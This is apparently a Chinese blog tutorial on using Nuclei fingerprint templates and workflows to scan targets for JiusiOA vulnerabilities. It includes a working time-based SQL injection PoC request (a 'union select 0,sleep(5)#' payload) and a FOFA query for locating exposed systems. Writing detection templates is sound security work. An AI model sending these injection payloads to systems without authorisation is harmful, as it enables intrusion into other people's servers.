在前面的内容中,我们已经介绍了如何编写用于漏洞检测的YAML模板(POC)。然而,在实际应用中,面对大量的URL目标,如果直接使用所有的POC模板进行检测,不仅会消耗大量的时间,而且效率极低。为了提升扫描的效率和准确率,Nuclei采用了指纹识别与Workflow结合的策略。
指纹识别
指纹识别是Nuclei扫描流程的第一步。它的核心目的是快速识别目标网站或应用所使用的技术栈或框架。通过发送特定的请求并分析响应内容,Nuclei能够识别出目标是否使用了某个特定的CMS(内容管理系统)、Web框架或其他技术。
指纹识别的好处在于,它允许Nuclei在后续的扫描过程中,只针对识别出的特定技术栈或框架使用相关的POC进行检测。这样,就可以避免对不必要的模板进行无效扫描,从而大大提高扫描的效率和准确率。
Workflow应用
在Nuclei中,Workflow是一种强大的功能,它允许用户定义一系列模板的执行顺序和条件。通过Workflow,用户可以灵活地组合多个模板,实现复杂的扫描逻辑。
在实际应用中,我们可以先定义一个指纹识别的工作流,该工作流会包含多个用于识别不同技术栈或框架的指纹模板。当Nuclei对一个URL进行扫描时,它会首先运行这个指纹识别工作流。一旦识别出目标使用的技术栈或框架,Nuclei就会根据识别结果,选择相应的POC模板进行进一步的检测。
通过这种方式,Nuclei能够确保只针对识别出的特定技术栈或框架使用相关的POC进行检测,从而避免了不必要的扫描和资源浪费。
workflow.yaml
我们先看一个nuclei自带的workflow
比如74cms-workflow.yaml
id: 74cms-workflow
info:
name: 74cms Security Checks
author: daffainfo
description: A simple workflow that runs all 74cms related nuclei templates on a given target.
workflows:
- template: http/technologies/fingerprinthub-web-fingerprints.yaml
matchers:
- name: 74cms
subtemplates:
- tags: 74cms
(注意这个template路径,这个路径是nuclei一开始运行的时候保存所有模版的目录,可以使用 -ud 指定默认路径(相当于重新下载),我这里的根目录是/home/nuclei-templates,在yaml这里的所有路径都可以写为相对路径)
在workflows下面有个template,可以找到这个文件
这个文件非常的大里面全是内置的http指纹,简单截取一部分观察
id: fingerprinthub-web-fingerprints
info:
name: FingerprintHub Technology Fingerprint
author: pdteam,righettod
severity: info
description: FingerprintHub Technology Fingerprint tests run in nuclei.
reference:
- https://github.com/0x727/FingerprintHub
classification:
cwe-id: CWE-200
metadata:
max-request: 1
tags: tech
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers-condition: or
matchers:
- type: word
name: 08cms
words:
- typeof(_08cms)
- type: word
name: 1caitong
words:
- /custom/groupnewslist.aspx?groupid=
- type: word
name: 74cms
words:
- content="74cms.com"
可以看到这个模版的作用其实就是一个指纹识别,流程也很简单,和我们写的poc是一样的,也是发个请求然后对返回的数据包进行匹配,这也是最常用的使用网站特征来识别指纹。
在workflow中如果这个指纹识别到了74cms的指纹那么就会执行subtemplates,执行所有tags 是74cms poc去检测
Template Workflows Overview – ProjectDiscovery Documentation
workflows:
- template: http/technologies/tech-detect.yaml
matchers:
- name: lotus-domino
subtemplates:
- template: http/technologies/lotus-domino-version.yaml
subtemplates:
- template: http/cves/2020/xx-yy-zz.yaml
subtemplates:
- template: http/cves/2020/xx-xx-xx.yaml
并且上下级的这些template是可以继承变量的,意思就是比如执行第一个的模版中有设置某个变量,后续的模版都可以来引用这个变量,还是非常的智能的。
那么我们来实操一下
我先写了一些九思OA系统的poc
例如 九思OA workflowSync.getUserStatusByRole.dwr SQL注入漏洞检测poc (注意yakit生成的要把那个yakit info删除)
id: jiusiOA-getUserStatusByRole-delay_sqli
info:
name: jiusiOA-getUserStatusByRole-delay_sqli
author: dreamer292 blog https://blog.csdn.net/qq_63855540
severity: high
description: 九思OA接口getUserStatusByRole存在sql注入盲注
tags: jiusiOA
metadata:
max-request: 1
fofa-query: body="/jsoa/images/index.gif" || body="/jsoa/wap.jsp" || app="九思软件-OA"
verified: true
http:
- raw:
- |-
@timeout: 30s
POST /jsoa/workflow/dwr/exec/workflowSync.getUserStatusByRole.dwr HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close
callCount=1
c0-scriptName=workflowSync
c0-methodName=getUserStatusByRole
c0-id=1
c0-param0=string:1
c0-param1=string:1 union select 0,sleep(5)#
xml=true
max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=5'
# Generated From WebFuzzer on 2024-11-29 20:46:19
写了5个历史漏洞的poc tags全部都是 tags: jiusiOA
那么再写一个finger.yaml
匹配条件都是关键字(只匹配关键字确实有点局限)
文件放置在自建的C:\Users\xxx\nuclei-templates\owner
id: finger_jiusiOA
info:
name: finger_jiusiOA
author: dreamer292
severity: info
description: test jiusiOA
metadata:
max-request: 1
tags: tech
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers-condition: or
matchers:
- type: word
name: jiusiOA
words:
- /jsoa/images/index.gif
- type: word
name: jiusiOA
words:
- /jsoa/wap.jsp
poc和finger都放在我新建的/home/nuclei-templates/owner目录下

workflow.yaml
文件放置在默认的/home/nuclei-templates/worlflows文件夹下
id: jiusOA-workflow
info:
name: jiusiOA Security Checks
author: dreamer292
description: A simple workflow that runs all jiusiOA related nuclei templates on a given target.
workflows:
- template: owner/finger.yaml
matchers:
- name: jiusiOA
subtemplates:
- tags: jiusiOA

此时我们就直接利用poc进行检测目标,我们可以直接指定workflow来扫描
./nuclei -u http://xxx -w workflows/jiusiOA-workflow.yaml //可以看到这里指定也是用的相对路径

尽管我们可以直接通过指定URL(使用-u
参数)进行全面扫描,或者利用-w
参数选择workflows/
目录下的所有文件来进行优先扫描,但在实际操作中,我们往往并不清楚目标系统的具体信息。不过,值得庆幸的是,经过验证,该工具确实能够顺利运行,并且成功地检测出了漏洞。这意味着,无论我们对目标系统的了解程度如何,只要利用这些扫描方式,都有可能发现潜在的安全问题
暂无评论内容